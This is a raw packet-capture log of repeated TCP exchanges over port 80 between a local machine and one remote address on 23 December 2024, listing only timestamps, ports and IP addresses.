Dec 23, 2024 08:04:14.256669044 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.257266045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.257348061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.257386923 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.258074999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.258192062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.258239985 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.258914948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.259020090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.259143114 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.259805918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.259908915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.260111094 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.260662079 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.260763884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.260832071 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.261481047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.261589050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.261708021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.262409925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.262532949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.262609959 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.263286114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.263525009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.263778925 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.264101028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.264245987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.264381886 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.264921904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.265024900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.265227079 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.265758038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.265845060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.265917063 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.266608953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.266717911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.266820908 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.267450094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.267565012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.267636061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.268307924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.268443108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.268599033 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.269206047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.269315004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.269503117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.270014048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.270128965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.270169973 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.270924091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.271008015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.271198988 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.271729946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.271800995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.271872997 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.272576094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.272677898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.272732019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.273433924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.273488045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.273602009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.274589062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.274744987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.274868965 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.275213003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.275341034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.275594950 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.276068926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.276187897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.276305914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.276969910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.277041912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.277169943 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.277734041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.277908087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.277973890 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.278616905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.278800964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.279166937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.279491901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.279613972 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.279680014 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.280296087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.280419111 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.280463934 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.281069994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.324875116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.390216112 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.416323900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.428817987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.428884983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.428966999 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.429174900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.429339886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.429419994 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.429997921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.430087090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.430179119 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.430836916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.430938959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.431057930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.431647062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.431757927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.432009935 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.432499886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.432601929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.432703972 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.433373928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.433590889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.433804989 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.434298038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.434529066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.434664965 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.435137987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.435375929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.435504913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.436095953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.436224937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.436312914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.436784029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.436887026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.436994076 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.437676907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.437760115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.437990904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.438479900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.438596010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.439137936 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.439302921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.439430952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.440203905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.440329075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.440350056 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.441059113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.441169977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.441227913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.441227913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.441888094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.441997051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.442768097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.442822933 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.442886114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.443324089 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.443608999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.443675995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.444461107 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.444463015 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.444590092 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.444787979 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.445334911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.445450068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.445534945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.446180105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.446285963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.447021961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.447097063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.447138071 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.447138071 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.447870970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.447993040 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.448755026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.448853970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.448894978 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.448895931 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.449732065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.449882984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.450504065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.450643063 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.450721979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.451339960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.451421976 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.451427937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.452187061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.452302933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.452456951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.452456951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.453008890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.453125954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.453845978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.453948975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.453991890 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.453991890 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.454694033 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.454796076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.455420971 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.455543041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.455655098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.455768108 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.456412077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.456495047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.456594944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.457278013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.457379103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.457420111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.458117962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.458206892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.458509922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.458965063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.459080935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.459172964 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.459865093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.459948063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.460226059 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.460689068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.460758924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.460935116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.461549044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.461661100 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.461905003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.462378979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.462496042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.462732077 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.463238001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.463361025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.463597059 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.464086056 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.464245081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.464320898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.464968920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.465130091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.465797901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.465851068 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.465904951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.466694117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.466780901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.467502117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.467571020 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.468389034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.468477011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.468858957 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.468858957 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.468858957 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.469213009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.469310999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.469378948 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.470072031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.470184088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.470240116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.470928907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.471046925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.471132040 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.471772909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.471889019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.472481966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.472632885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.472740889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.473001003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.473423004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.515391111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.621272087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.621292114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.621530056 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.621543884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.621562958 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.621900082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.622373104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.623219013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.623231888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.623611927 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.623632908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.624021053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.624057055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.624468088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.624557972 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.624876976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.625077009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.625277996 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.625785112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.625802994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.625965118 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.626677990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.626693964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.627011061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.627557039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.627574921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.627859116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.628341913 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.628355980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.628659010 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.629189968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.629204035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.629411936 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.630039930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.630053043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.630116940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.630856037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.631710052 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.631722927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.632044077 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.632538080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.632555008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.633418083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.633440971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.633846045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.633846045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.633866072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.634344101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.634360075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.635191917 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.635212898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.636060953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.636085987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.636863947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.636863947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.636863947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.636903048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.637640953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.637655973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.638509989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.638534069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.639378071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.639415979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.640208960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.640223980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.641055107 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.641068935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.641148090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.641148090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.641148090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.641148090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.641148090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.641148090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.641917944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.641931057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.642739058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.642751932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.642843962 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.642843962 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.642864943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.643759012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.643775940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.644615889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.644633055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.645410061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.645423889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.645865917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.645865917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.645865917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.645865917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.646279097 CET	80	49716	185.215.113.16	192.168.2.8
